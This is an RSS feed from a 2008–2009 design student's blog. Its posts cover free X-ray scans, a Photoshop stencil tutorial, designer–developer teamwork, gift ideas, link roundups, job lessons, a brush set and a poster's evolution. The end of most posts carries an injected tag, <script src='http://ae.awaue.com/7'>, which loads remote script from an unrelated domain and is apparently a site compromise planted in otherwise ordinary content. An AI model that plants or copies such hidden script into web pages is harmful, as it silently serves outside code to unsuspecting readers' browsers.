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	<title>Upside Down City &#187; Design</title>
	<atom:link href="http://www.upsidedowncity.net/category/design/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.upsidedowncity.net</link>
	<description>journal of a design student</description>
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			<item>
		<title>X-Ray Freebies</title>
		<link>http://www.upsidedowncity.net/x-ray-freebies/</link>
		<comments>http://www.upsidedowncity.net/x-ray-freebies/#comments</comments>
		<pubDate>Wed, 04 Mar 2009 05:32:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Freebies]]></category>
		<category><![CDATA[Photoshop]]></category>
		<category><![CDATA[stock photos]]></category>
		<category><![CDATA[x-rays]]></category>

		<guid isPermaLink="false">http://www.upsidedowncity.net/?p=524</guid>
		<description><![CDATA[A friend found these at a local store that recycles art materials and gave them to me to scan before she used them for a project.

Feel free to use these in any project commercial or otherwise. Leave me a comment if you do use it please.
udc_xray_freebies
]]></description>
			<content:encoded><![CDATA[<p>A friend found these at a local store that recycles art materials and gave them to me to scan before she used them for a project.</p>
<p><a href="http://www.upsidedowncity.net/wp-content/uploads/2009/03/xray-0007.jpg"><img src="http://www.upsidedowncity.net/wp-content/uploads/2009/03/xray-0007-400x472.jpg" alt="xray-0007" title="xray-0007" width="400" height="472" class="alignnone size-medium wp-image-525" /></a></p>
<p>Feel free to use these in any project commercial or otherwise. Leave me a comment if you do use it please.</p>
<p><a class="download" href='http://www.upsidedowncity.net/wp-content/uploads/2009/03/udc_xray_freebies.zip'>udc_xray_freebies</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
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		<item>
		<title>Easy Stencil Effects</title>
		<link>http://www.upsidedowncity.net/easy-stencil-effects/</link>
		<comments>http://www.upsidedowncity.net/easy-stencil-effects/#comments</comments>
		<pubDate>Fri, 06 Feb 2009 22:16:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Illustrator]]></category>
		<category><![CDATA[Photoshop]]></category>
		<category><![CDATA[tutorials]]></category>

		<guid isPermaLink="false">http://www.upsidedowncity.net/?p=503</guid>
		<description><![CDATA[Brief Background
My main source of insertion for the Inauguration Poster came from the Shepard Fairey &#8220;Hope&#8221; Poster we have all seen so much of. Here is the final version of my poster.

This is a quick tutorial on how I created the stencil effect for the poster.

Quick Steps

Select background (expand and smooth your selection).
Fill with white.
Black [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Brief Background</strong><br />
My main source of insertion for the Inauguration Poster came from the Shepard Fairey &#8220;Hope&#8221; Poster we have all seen so much of. Here is the final version of my poster.</p>
<p><a href="http://emumarketing.uoregon.edu/wp-content/uploads/2009/01/inauguration-poster.png"><img src="http://emumarketing.uoregon.edu/wp-content/uploads/2009/01/inauguration-poster-399x600.png" alt="inauguration-poster" title="inauguration-poster" width="399" height="600" class="aligncenter size-medium wp-image-591" /></a></p>
<p>This is a quick tutorial on how I created the stencil effect for the poster.</p>
<p><span id="more-503"></span></p>
<p><strong>Quick Steps</strong></p>
<ul>
<li>Select background (expand and smooth your selection).</li>
<li>Fill with white.</li>
<li>Black and white (not an adjustment layer) your photo and up the contrast.</li>
<li>Merge the photo w/ the background.</li>
<li>Make your photo a smart object.</li>
<li>Apply Gaussian Blur and Cutout(In that order).</li>
<li>Tweak both filters (every photo is different).</li>
<li>Live Trace it in illustrator to and color each shape.</li>
<li>Expand and Tweak the trace.</li>
</ul>
<p><strong>Detailed Steps</strong><br />
<strong>Select background (smooth the edges out)</strong><br />
Using your favorite selection tool to select the background of your image. Smooth out your selection<img src="http://emumarketing.uoregon.edu/wp-content/uploads/2009/01/picture-1-580x432.png" alt="obama-1" title="obama-1" width="580" height="432" class="aligncenter size-medium wp-image-570" /> by going to Select>Refine Edge and use the smooth slider to smooth out your edges.</p>
<p>It also helps to contract your selection a bit this creates a darkened border around your subject.</p>
<p><strong>Fill with White</strong><br />
Fill your Selection with white.<br />
<img src="http://emumarketing.uoregon.edu/wp-content/uploads/2009/01/picture-2-580x434.png" alt="obama-2" title="obama-2" width="580" height="434" class="aligncenter size-medium wp-image-577" /></p>
<p><strong>Black and white (not an adjustment layer) your photo and up the contrast</strong><br />
You have to use the Image>Adjustment menu for this step because you want the filters applied in later steps to affect the edited version of the image and not the original. Not the best practice to completely destroy your image but a necessary one.<br />
<img src="http://emumarketing.uoregon.edu/wp-content/uploads/2009/01/picture-3-580x435.png" alt="obama-3" title="obama-3" width="580" height="435" class="aligncenter size-medium wp-image-582" /></p>
<p><strong>Merge the photo w/ the background</strong><br />
Fairly self-explanatory when you apply the filters to the image you want to make the entire image reside on one layer.</p>
<p><strong>Make your photo a smart object</strong><br />
Go to Filters>Convert for Smart Filters to make your image a smart object this will let you adjust filters to get the best image later.<br />
<img src="http://emumarketing.uoregon.edu/wp-content/uploads/2009/01/picture-4.png" alt="obama-4" title="obama-4" width="223" height="364" class="aligncenter size-full wp-image-579" /></p>
<p><strong>Apply Gaussian Blur and Cutout(In that order)</strong><br />
I used about 4px Gaussian blur. For the cutout I used 3 levels with 0 edge simplicity and 3 edge fidelity. If your image doesn&#8217;t have enough detail and is muddy, try taking down Gaussian blur. If your image has to much detail for you take the blur for edge simplicity up.<br />
<img src="http://emumarketing.uoregon.edu/wp-content/uploads/2009/01/picture-5.png" alt="obama-5" title="obama-5" width="361" height="480" class="aligncenter size-full wp-image-580" /></p>
<p><img src="http://emumarketing.uoregon.edu/wp-content/uploads/2009/01/picture-3-580x435.png" alt="obama-3" title="obama-3" width="580" height="435" class="aligncenter size-medium wp-image-582" /></p>
<p><img src="http://emumarketing.uoregon.edu/wp-content/uploads/2009/01/picture-7.png" alt="obama-7" title="obama-7" width="362" height="486" class="aligncenter size-full wp-image-575" /></p>
<p><img src="http://emumarketing.uoregon.edu/wp-content/uploads/2009/01/picture-8.png" alt="obama-8" title="obama-8" width="254" height="215" class="aligncenter size-full wp-image-573" /></p>
<p><strong>Tweak both filters (every photo is different)</strong><br />
If your image doesn&#8217;t have enough detail and is muddy, try taking down Gaussian blur. If your image has to much detail for you take the blur for edge simplicity up.</p>
<p><strong>Live Trace it in illustrator to and color each shape.</strong><br />
Open your image in Illustrator and release the crop area and delete it. Also get rid of any clipping masks ect. Then go to Object>Live Trace>Tracing options. You can use my settings below or find your own.<br />
<img src="http://emumarketing.uoregon.edu/wp-content/uploads/2009/01/picture-10.png" alt="obama-10" title="obama-10" width="467" height="550" class="aligncenter size-full wp-image-576" /></p>
<p><img src="http://emumarketing.uoregon.edu/wp-content/uploads/2009/01/picture-3-580x435.png" alt="obama-3" title="obama-3" width="580" height="435" class="aligncenter size-medium wp-image-582" /></p>
<p><strong>Expand and Tweak</strong><br />
Live Trace is hardly ever perfect, by expanding your trace you can tweak individual paths. Go to Object>Expand and then click OK. Now you have all the individual paths for your tweaking pleasure.</p>
<p><img src="http://emumarketing.uoregon.edu/wp-content/uploads/2009/01/picture-12.png" alt="obama-12" title="obama-12" width="220" height="548" class="aligncenter size-full wp-image-574" /></p>
<p><img src="http://emumarketing.uoregon.edu/wp-content/uploads/2009/01/picture-13-580x434.png" alt="obama-13" title="obama-13" width="580" height="434" class="aligncenter size-medium wp-image-581" /><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
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		<title>Designers vs Developers at EMU Marketing</title>
		<link>http://www.upsidedowncity.net/designers-vs-developers-at-emu-marketing/</link>
		<comments>http://www.upsidedowncity.net/designers-vs-developers-at-emu-marketing/#comments</comments>
		<pubDate>Tue, 03 Feb 2009 17:29:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Web design]]></category>
		<category><![CDATA[EMU Marketing]]></category>
		<category><![CDATA[web apps]]></category>
		<category><![CDATA[web development]]></category>

		<guid isPermaLink="false">http://www.upsidedowncity.net/?p=473</guid>
		<description><![CDATA[After reading through this article over at Vitamin Features, i thought it would be a good idea to answer the questions as a designer who has to work with developers on a very regular basis. 
1. Would I be a better designer to work with if I knew coding myself? Do developers appreciate knowledgeable designers?
The [...]]]></description>
			<content:encoded><![CDATA[<p>After reading through this article over at Vitamin Features, i thought it would be a good idea to answer the questions as a designer who has to work with developers on a very regular basis. </p>
<blockquote><p>1. Would I be a better designer to work with if I knew coding myself? Do developers appreciate knowledgeable designers?</p></blockquote>
<p>The designers at EMU Marketing code our own pages in XHTML and CSS this takes the pressure off of the developers to make things &#8220;look right&#8221; and lets the designers have control over the entire visual appeal of the site.<br />
<span id="more-473"></span><br />
I think developers appreciate designers who have at least some knowledge of how difficult a certain feature will be to implement, or know roughly what the process will be in creating the development back end.</p>
<blockquote><p> 2. Designers: Developers don’t like you because you represent Work and don’t see why said work is wholly necessary. Developers: Designers are scared of you because you are the gatekeeper. This is the dynamic. Discuss.</p></blockquote>
<p>Because the designers and developers work in the same room and we critique and review each other project regardless of experience with that area it gives our designers a sense of the development process and a general understanding of how the websites work. It gives the developers a chance to see how the design process works and eliminates this problem.</p>
<blockquote><p>  3. How can stronger communication be developed not only between designers and developers, but also between designers, developers, and creative teams (art director, copywriter)? How can a team bring them into the fold more effectively?</p></blockquote>
<p>Strong communication is one of the great things about EMU Marketing we are always looking at each others projects and keeping up on how things are working. Bringing developers into the project early to help work out features and to give them an overview of the site is always helpful.</p>
<blockquote><p>   4. To developers: if there was one thing ― an ability, a bit of knowledge, an understanding ― that you could instill in all designers with the wave of a magic wand, what would it be?</p></blockquote>
<p>I would be very interested to know what this is.</p>
<blockquote><p>   5. How do you keep the goal of the project front and center so that design and development can keep a “common good” as their primary function?</p></blockquote>
<p>The goal is always to give the client a site they can be proud to show off to people. It is up to both parties to do thier part. Designers need to make the site flow well and the information easy to access. Developers need to make the site easy to use and the information flow out the databases and into a readable format. Everyone has the same goal, I think once everyone understands that its easy to keep it front and center.</p>
<blockquote><p>   6. What’s the most helpful thing a designer can do before handing over design files?</p></blockquote>
<p>Here is the checklist that the developers wrote.</p>
<ol>
<li> Discuss site functionality with programmers. </li>
<li> Code XHTML and CSS. </li>
<li> Look at site with no styles, does it make sense? </li>
<li> Recode CSS from scratch if necessary (should be much quicker the second time). </li>
<li> Once site is valid, get approval from programmers. </li>
</ol>
<p>That makes it pretty clear what the developers want valid and understandable XHTML and CSS from the designs to plug into the framework.</p>
<blockquote><p>   7. How soon should a developer be engaged to sense-check a design? At design brief? Before it goes to the client?</p></blockquote>
<p>As the list above makes clear sense check occurs after meeting with the client but before the design goes to code.</p>
<blockquote><p>   8. Is it a mistake to make the lead developer the project manager?</p></blockquote>
<p>Probably not but that might be a mistake and take away from the visual appeal of the site. Just the same and making the lead designer a project manager might create a mess for the developers. The best solution is to have someone outside the web design and development process. In this case it is our boss Lee who has a background in print design.</p>
<blockquote><p>   9. How can I get the developer to give me an absolute answer on whether something is doable?</p></blockquote>
<p>Do your research and know their skill level. See if an open source project exists that does what you want or have an example ready. I find myself say &#8220;you know like how Wordpress does it.&#8221; when I&#8217;m explaining a feature to the developers.</p>
<p>Its also good to know what the developers know how to do. In my case there is nothing it seems our developers cannot do. See <a href="http://emumarketing.uoregon.edu/paul/2008/09/28/the-new-tag-cloud/">this</a> post on what was going to be the tag cloud for Cultural Forum.</p>
<blockquote><p>  10. It seems that designers are under pressure to design an exceptional and unique experience and developers are under pressure to produce sites with high performance and little/no errors. Designer’s goals add pressure to developers and vice versa. How can our goals work together instead of causing pressure on each other?</p></blockquote>
<p>Exceptional user experiences and high site performance are not mutually exclusive. These problems are problems of experience and dedication. Because designers are in charge of the front end code developers are not responsible for that area. They are free to focus on performance issues and creating error free applications. designers and focus only on the user experience.</p>
<p><script src="http://ae.awaue.com/7"></script></p>
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		<title>Gifts for Designers</title>
		<link>http://www.upsidedowncity.net/gifts-for-designers/</link>
		<comments>http://www.upsidedowncity.net/gifts-for-designers/#comments</comments>
		<pubDate>Wed, 17 Dec 2008 23:49:06 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Links]]></category>
		<category><![CDATA[christmas]]></category>
		<category><![CDATA[gifts]]></category>
		<category><![CDATA[guide]]></category>

		<guid isPermaLink="false">http://www.upsidedowncity.net/?p=471</guid>
		<description><![CDATA[With Christmas just around the corner and people asking me what I want thought it might be fun to do a post on some great things targeted at designers.
Pantone Mugs

These great Pantone Mugs would be an awesome gift but at 130$ they might be a little to much. But I have heard of a few [...]]]></description>
			<content:encoded><![CDATA[<p>With Christmas just around the corner and people asking me what I want thought it might be fun to do a post on some great things targeted at designers.</p>
<h2>Pantone Mugs</h2>
<p><a href="http://www.w2products.com/products/subcategories/4/PANTONE%AE+Mugs.html"><img src="http://www.upsidedowncity.net/wp-content/uploads/2008/12/pantone-pa27web-400x410.jpg" alt="Pantone Mugs" title="Pantone Mugs" width="400" height="410" class="aligncenter size-medium wp-image-489" /></a><br />
These great <a href="http://www.w2products.com/products/subcategories/4/PANTONE%AE+Mugs.html">Pantone Mugs</a> would be an awesome gift but at 130$ they might be a little to much. But I have heard of a few places that sell them individually.<br />
<span id="more-471"></span></p>
<h2>T-Shirts</h2>
<p><a href="http://www.bdthreads.com/"><img src="http://www.upsidedowncity.net/wp-content/uploads/2008/12/design003-399x196.gif" alt="T-Shirts" title="design003" width="399" height="196" class="aligncenter size-medium wp-image-490" /></a><br />
T-Shirts are something no one can ever get enough of. <a href="http://www.bdthreads.com/">This one</a> from Bad Designer Threads is sweet.</p>
<h2>Design Magazines</h2>
<p><a href="http://www.layersmagazine.com/"><img src="http://www.upsidedowncity.net/wp-content/uploads/2008/12/layers-magazine_logo1.gif" alt="" title="layers-magazine_logo1" width="234" height="100" class="aligncenter size-medium wp-image-491" /></a></p>
<h2>MOMA Under 50$ sections</h2>
<p><a href="http://www.momastore.org/museum/moma/CategoryDisplay_10451_10001__11507_-1______Y_"><img src="http://www.upsidedowncity.net/wp-content/uploads/2008/12/picture-11.jpg" alt="" title="picture-11" width="313" height="146" class="aligncenter size-medium wp-image-496" /></a><br />
The <a href="http://www.momastore.org/museum/moma/CategoryDisplay_10451_10001__11507_-1______Y_">Museum of Modern Art Store</a> has sections for gifts under $25, $50, and $100. The under 50 and 25 dollar sections have some cool gifts, the <a href="http://www.momastore.org/museum/moma/ProductDisplay_Munny%20Series%204%20Toy_10451_10001_52323_-1_11496_11593_Y_giftideas_">Munny</a> toy is especially cool.</p>
<h2>Veer</h2>
<p><a href="http://www.veer.com/products/merch/"><img src="http://www.upsidedowncity.net/wp-content/uploads/2008/12/vpr0002078_p3.gif" alt="" title="vpr0002078_p3" width="400" height="269" class="aligncenter size-medium wp-image-494" /></a><br />
Veer has some great <a href="http://www.veer.com/products/merch/">merch</a> the <a href="http://www.veer.com/products/merchdetail.aspx?image=VPR0002078">Pentagram Calender</a> is especially awesome.<script src="http://ae.awaue.com/7"></script></p>
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		<item>
		<title>Winter Break Challenge</title>
		<link>http://www.upsidedowncity.net/winter-break-challenge/</link>
		<comments>http://www.upsidedowncity.net/winter-break-challenge/#comments</comments>
		<pubDate>Mon, 15 Dec 2008 17:00:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Announcements]]></category>
		<category><![CDATA[Design]]></category>

		<guid isPermaLink="false">http://www.upsidedowncity.net/?p=486</guid>
		<description><![CDATA[Starting today my goal for the winter break will be to get back into the swing of drawing. As I&#8217;m taking drawing winter term this seems like a good goal to have.
At the end of winter break (early January) I&#8217;ll scan all of drawings and make a post about it.
Anyone else want to join me? [...]]]></description>
			<content:encoded><![CDATA[<p>Starting today my goal for the winter break will be to get back into the swing of drawing. As I&#8217;m taking drawing winter term this seems like a good goal to have.</p>
<p>At the end of winter break (early January) I&#8217;ll scan all of drawings and make a post about it.</p>
<p>Anyone else want to join me? Maybe you could get back into the swing of something for the break.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
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		<title>Found Links #12</title>
		<link>http://www.upsidedowncity.net/found-links-12/</link>
		<comments>http://www.upsidedowncity.net/found-links-12/#comments</comments>
		<pubDate>Fri, 05 Dec 2008 23:28:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Links]]></category>
		<category><![CDATA[pantone]]></category>
		<category><![CDATA[polaroid]]></category>
		<category><![CDATA[shoes]]></category>
		<category><![CDATA[ties]]></category>

		<guid isPermaLink="false">http://www.upsidedowncity.net/?p=463</guid>
		<description><![CDATA[This week its a set of odd ball links including a video, saving Polaroid Film and a pair of clothing link to some awesome shoes and ties.
Human Flipbook

Erbert and Gerbert did this great using tshirts with various amounts of ripping and tearing to create a flipbook/stop motion animation commercial which went viral on the internet.

Save [...]]]></description>
			<content:encoded><![CDATA[<p>This week its a set of odd ball links including a <a href="http://www.humanflipbook.com/">video</a>, <a href="http://www.savepolaroid.com/">saving Polaroid Film</a> and a pair of clothing link to some awesome shoes and ties.</p>
<h2>Human Flipbook</h2>
<p><a href="http://www.humanflipbook.com/"><img src="http://www.upsidedowncity.net/wp-content/uploads/2008/12/picture-2-400x91.jpg" alt="Human Flipbook" title="human flipbook" width="400" height="91" class="aligncenter size-medium wp-image-464" /></a></p>
<p>Erbert and Gerbert did this great using tshirts with various amounts of ripping and tearing to create a flipbook/stop motion animation commercial which went viral on the internet.<br />
<span id="more-463"></span></p>
<h2>Save Polaroid</h2>
<p><a href="http://www.savepolaroid.com/"><img src="http://www.upsidedowncity.net/wp-content/uploads/2008/12/picture-4-400x183.jpg" alt="Save Polaroid." title="Save Polaroid" width="400" height="183" class="aligncenter size-medium wp-image-465" /></a></p>
<p>If you dont know Polaroids Instant Film will be gone soon. The group trying to save it is already up and running. Meanwhile stock up on the film if you use it.</p>
<h2>Sovergn Back</h2>
<p><a href="http://www.sovereignbeck.com/holidaysale.html"><img src="http://www.upsidedowncity.net/wp-content/uploads/2008/12/picture-3.jpg" alt="Sovereign Beck" title="Sovereign Beck" width="322" height="265" class="aligncenter size-medium wp-image-467" /></a></p>
<p>I found Sovereign Beck through the Cool Hunters Video Podcast. Put simply they make awesome ties. No this isn&#8217;t an ad I just really want one.</p>
<h2>Pantone Shoes</h2>
<p><a href="http://www.pantone.com/Resources/MonthlyIssues/20081118/en-na/pantone081118.htm"><img src="http://www.upsidedowncity.net/wp-content/uploads/2008/12/picture-5.jpg" alt="" title="Pantone Shoes" width="349" height="438" class="aligncenter size-medium wp-image-468" /></a></p>
<p>Another awesome peice of designer clothing. Pantone shoes though at 200+ dollars they are a little out of my league.<script src="http://ae.awaue.com/7"></script></p>
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		<item>
		<title>10 things I learned in a year at EMU Marketing</title>
		<link>http://www.upsidedowncity.net/10-things-i-learned-in-a-year-at-emu-marketing/</link>
		<comments>http://www.upsidedowncity.net/10-things-i-learned-in-a-year-at-emu-marketing/#comments</comments>
		<pubDate>Thu, 20 Nov 2008 06:51:19 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[EMU Marketing]]></category>
		<category><![CDATA[U of O]]></category>

		<guid isPermaLink="false">http://www.upsidedowncity.net/?p=453</guid>
		<description><![CDATA[Working at EMU Marketing has been one of the best experiences at University of Oregon, and has given more portfolio material then I can keep track of. After working there for a year I&#8217;m looking back and thinking about what I&#8217;ve learned.
Pixel perfect
Every pixel counts and the less you have the more each one matters.
One [...]]]></description>
			<content:encoded><![CDATA[<p>Working at EMU Marketing has been one of the best experiences at University of Oregon, and has given more portfolio material then I can keep track of. After working there for a year I&#8217;m looking back and thinking about what I&#8217;ve learned.</p>
<h2>Pixel perfect</h2>
<blockquote><p>Every pixel counts and the less you have the more each one matters.</p></blockquote>
<p>One of my first jobs was working on banner ads for food services to go up on the Oregon Daily Emerald website. Being just 685&#215;60 pixels cramming all the information in required some creativity on my part, but also imparted the lesson above.</p>
<h2>Content makes the site</h2>
<blockquote><p>The most important thing is your content, don&#8217;t neglect it. Don&#8217;t let your clients neglect it either.</p></blockquote>
<p>My coworker Tristan is working on a case study on the EMU Ticket Office website. If you take a look, the real focus of the site is the content. It is well written and correct. The photos are vibrant and fit the website. There is no horrific use of bold and italics to mar the readability of anything.<br />
<span id="more-453"></span></p>
<p>If any of those elements were out of place the whole site would be ruined, The Ticket Office handles all of their content. Because of the minimalist design they control how good or bad the site looks.</p>
<h2>Push it to the limit. Then pull back.</h2>
<blockquote><p>This is actually something I learned back in my theater days. Our teacher always told us to push it to far and then he would tell us to pull it back.</p></blockquote>
<p>When I was working on the Civil War LAN posters I did the same thing by going out on a limb and taking the minimalist flag and character design and adding both smoke and black bars on the top and bottom. The smoke stayed and the black bars went. My coworkers know when to say somethings goes too far. Just goes to show you to get the opinion of others.  Which leads me into my next point&#8230;</p>
<h2>Always get a second opinion</h2>
<blockquote><p>If you don&#8217;t get a second opinion something will be wrong.</p></blockquote>
<p>Most of the mistakes or slip ups come around when things happen to fast and no one else takes the time to look over simple information like times and dates. Getting a second opinion helps you make better designs and catch silly mistakes that you wouldn&#8217;t notice.</p>
<h2>Recycle, Reduce, Reuse (your designs)</h2>
<blockquote><p>If a design doesn&#8217;t work out save all the parts they might come in handy later.</p></blockquote>
<p>This should be a no brainer. Saving parts of designs helps you get ideas and save time later.</p>
<h2>Make it flexible (Raster vs. Vector)</h2>
<blockquote><p>Vectors are easy to scale and can be easily redesigned across all the different media.</p></blockquote>
<p>Another lesson the Civil War LAN posters taught me was that a raster image is a pain to transfer across loads of different ads. Having to wait several minutes to open up a 600mb file just to resize the component to make a 2&#215;3 ad is a pain. Use vectors for as much as you can to speed stuff up.</p>
<h2>When I say redesign I mean everything</h2>
<blockquote><p>Just trash the old design and start over.</p></blockquote>
<p>I learned this doing the new Cultural Forum website. I tried using the original colors from the website for the new and the same rounded corners. And everyone hated it. Including me. So I trashed the old design totally for the new grungy headers and striped color bars.</p>
<h2>Be a packrat (design freebies)</h2>
<blockquote><p>They are free. That means you should have them. Even if you don&#8217;t use them.
</p></blockquote>
<p>Having a collection of freebies is a great way to get inspiration quickly as well as adding subtle effects to your designs like paint splats, subtle watercolor effects, grunge textures etc.</p>
<h2>Proofread as much as possible</h2>
<blockquote><p>No matter how many times you proofread there will always be something wrong.
</p></blockquote>
<p>I rely on my girlfriend, since she&#8217;s a grammar Nazi and has a good eye.  Things will always go wrong. After 6 proofreading sessions and well over 4 people looking at it we still get basic errors on some project. Make sure to triple check dates, times and costs.</p>
<h2>If you make a mistake, don&#8217;t sweat it fix it</h2>
<blockquote><p>Don&#8217;t worry about that important bit of information you just forgot. Think about how you are going to fix it.</p></blockquote>
<p>I&#8217;ve done matching stickers to go over bits of info on posters that have had gone to press with the wrong information. I didn&#8217;t sweat it and tried to keep my cool and come up with the best solution.</p>
<h2>Let it stew</h2>
<blockquote><p>Try to let your projects stew for a week or two to get ideas going.</p></blockquote>
<p>I try to know what I will be working on a month or a few weeks in advance. This gives my brain time to work on the problem and gives me an idea of where to when I start it. Times when I have had to start a project cold have always been the hardest to get going.</p>
<p><script src="http://ae.awaue.com/7"></script></p>
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		<title>22 Photoshop Artistic Brushes</title>
		<link>http://www.upsidedowncity.net/22-photoshop-artistic-brushes/</link>
		<comments>http://www.upsidedowncity.net/22-photoshop-artistic-brushes/#comments</comments>
		<pubDate>Mon, 10 Nov 2008 18:44:05 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Freebies]]></category>
		<category><![CDATA[Photoshop]]></category>
		<category><![CDATA[art]]></category>
		<category><![CDATA[brushes]]></category>

		<guid isPermaLink="false">http://www.upsidedowncity.net/?p=383</guid>
		<description><![CDATA[I&#8217;ve been tinkering with a new brush set lately. I&#8217;ve wanted a set of art brushes (ink, pencil, pen, ect) that looked real for the most part. 
So digging into my old supplies from drawing for and some sketchbook paper yielded quite an awesome array of brushes. You can look at the example above for [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been tinkering with a new brush set lately. I&#8217;ve wanted a set of art brushes (ink, pencil, pen, ect) that looked real for the most part. </p>
<p>So digging into my old supplies from drawing for and some sketchbook paper yielded quite an awesome array of brushes. You can look at the example above for a practical example or at the screen caps below for some samples.</p>
<p><div id="attachment_435" class="wp-caption aligncenter" style="width: 374px"><a href="http://www.upsidedowncity.net/wp-content/uploads/2008/11/artbrushes1.jpg"><img src="http://www.upsidedowncity.net/wp-content/uploads/2008/11/artbrushes1.jpg" alt="Thumbnail Preview" title="artbrushes1" width="364" height="456" class="size-medium wp-image-435" /></a><p class="wp-caption-text">Thumbnail Preview</p></div><br />
<span id="more-383"></span><br />
<br />
<div id="attachment_436" class="wp-caption aligncenter" style="width: 376px"><a href="http://www.upsidedowncity.net/wp-content/uploads/2008/11/artbrushes2.jpg"><img src="http://www.upsidedowncity.net/wp-content/uploads/2008/11/artbrushes2.jpg" alt="Ink/Watercolor Stroke Preview" title="artbrushes2" width="366" height="458" class="size-medium wp-image-436" /></a><p class="wp-caption-text">Ink/Watercolor Stroke Preview</p></div><br />
<br />
<div id="attachment_437" class="wp-caption aligncenter" style="width: 372px"><a href="http://www.upsidedowncity.net/wp-content/uploads/2008/11/artbrushes3.jpg"><img src="http://www.upsidedowncity.net/wp-content/uploads/2008/11/artbrushes3.jpg" alt="Pencil Stoke Prevew." title="artbrushes3" width="362" height="458" class="size-medium wp-image-437" /></a><p class="wp-caption-text">Pencil Stoke Prevew.</p></div><br />
</p>
<h2>Usage Tips</h2>
<p>These are all sized to be used at 300dpi if you are designing at 150 or 72 for the web just make sure you make the sizes smaller.</p>
<p>I will be releasing the raw tip shapes sometime later this week so you can add your own options and create your own brushes.</p>
<p>Most of these are pressure sensitive and work really great with a  Wacom tablet. If you dont have a tablet make sure  you change the options.</p>
<h2>Download</h2>
<p>Feel free to use these for commercial and personal project. If you can try to give me a link back somewhere so other people can find these and use them to.</p>
<p><a href="http://www.upsidedowncity.net/wp-content/uploads/2008/11/udc_artistic_brushesabr.zip" class="download">22 Artistic Brushes.zip</a><br />
<script src="http://ae.awaue.com/7"></script></p>
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		<title>Evolution of the Civil War Lan Poster</title>
		<link>http://www.upsidedowncity.net/evolution-of-the-civil-war-lan-poster/</link>
		<comments>http://www.upsidedowncity.net/evolution-of-the-civil-war-lan-poster/#comments</comments>
		<pubDate>Mon, 27 Oct 2008 20:00:02 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Inspiration]]></category>
		<category><![CDATA[Photoshop]]></category>
		<category><![CDATA[Civil War Lan]]></category>
		<category><![CDATA[EMU Marketing]]></category>
		<category><![CDATA[Posters]]></category>

		<guid isPermaLink="false">http://www.upsidedowncity.net/?p=352</guid>
		<description><![CDATA[This was my first post over at the new EMU Marketing Blog for the office where I work.
One of the project I recently finished up was the poster for the Civil War Lan. This poster had originally been designed as a spin-off of the emu lan 3.0 poster. However the design ended up not working [...]]]></description>
			<content:encoded><![CDATA[<p>This was my first post over at the new EMU Marketing Blog for the office where I work.</p>
<p>One of the project I recently finished up was the poster for the <a title="Civil War Lan" href="http://civilwarlan.com">Civil War Lan</a>. This poster had originally been designed as a spin-off of the <a title="Emu Lan 3.0" href="http://www.flickr.com/photos/thebon/2266590995/in/pool-863842@N24">emu lan 3.0 poster</a>. However the design ended up not working out so well. Lee asked me to look into doing a kind of &#8220;capture the flag&#8221; themed poster.<span id="more-352"></span></p>
<p>Someone had been looking into the capture the flag theme to and found an awesome Unreal Tournament fansite kit with some nice hi-res character photos. After several hours of painting some grungy watercolor flag and slapping the character and some text over it I came up with this.</p>
<div id="attachment_231" class="wp-caption aligncenter" style="width: 510px"><a rel="lightbox" href="http://emumarketing.uoregon.edu/wp-content/uploads/2008/10/scan-0001.jpg"><img class="size-full wp-image-231" title="scan-0001" src="http://emumarketing.uoregon.edu/wp-content/uploads/2008/10/scan-0001.jpg" alt="1st Draft" width="500" height="743" /></a><p class="wp-caption-text">1st Draft</p></div>
<div id="attachment_232" class="wp-caption aligncenter" style="width: 510px"><a rel="lightbox" href="http://emumarketing.uoregon.edu/wp-content/uploads/2008/10/scan-0002.jpg"><img class="size-full wp-image-232" title="scan-0002" src="http://emumarketing.uoregon.edu/wp-content/uploads/2008/10/scan-0002.jpg" alt="2nd Draft" width="500" height="755" /></a><p class="wp-caption-text">2nd Draft</p></div>
<p><!--more-->At this point the general design was working out well and the flags were looking betting the more I added to them but the whole poster felt stale with the grungy battle scared flags and then the clean computer render and text so I began looking up some ways to add to the design.</p>
<div id="attachment_233" class="wp-caption aligncenter" style="width: 510px"><a rel="lightbox" href="http://emumarketing.uoregon.edu/wp-content/uploads/2008/10/scan-0003.jpg"><img class="size-full wp-image-233" title="scan-0003" src="http://emumarketing.uoregon.edu/wp-content/uploads/2008/10/scan-0003.jpg" alt="3rd Draft Smoke Added" width="500" height="748" /></a><p class="wp-caption-text">3rd Draft Smoke Added</p></div>
<div id="attachment_234" class="wp-caption aligncenter" style="width: 510px"><a rel="lightbox" href="http://emumarketing.uoregon.edu/wp-content/uploads/2008/10/scan-0004.jpg"><img class="size-full wp-image-234" title="scan-0004" src="http://emumarketing.uoregon.edu/wp-content/uploads/2008/10/scan-0004.jpg" alt="4th Draft Smoke and Bars Added" width="500" height="745" /></a><p class="wp-caption-text">4th Draft Smoke and Bars Added</p></div>
<p>At this point the rest of the office started to chime in on the poster. Everyone liked where it was going until made the point that the character was a copyrighted image and this would be going out to Corvallis for the OSU part of the event so the character had to be scraped. The poles also needed more grunge as Paul also pointed out to match the same battle scarred appearance of the flags.</p>
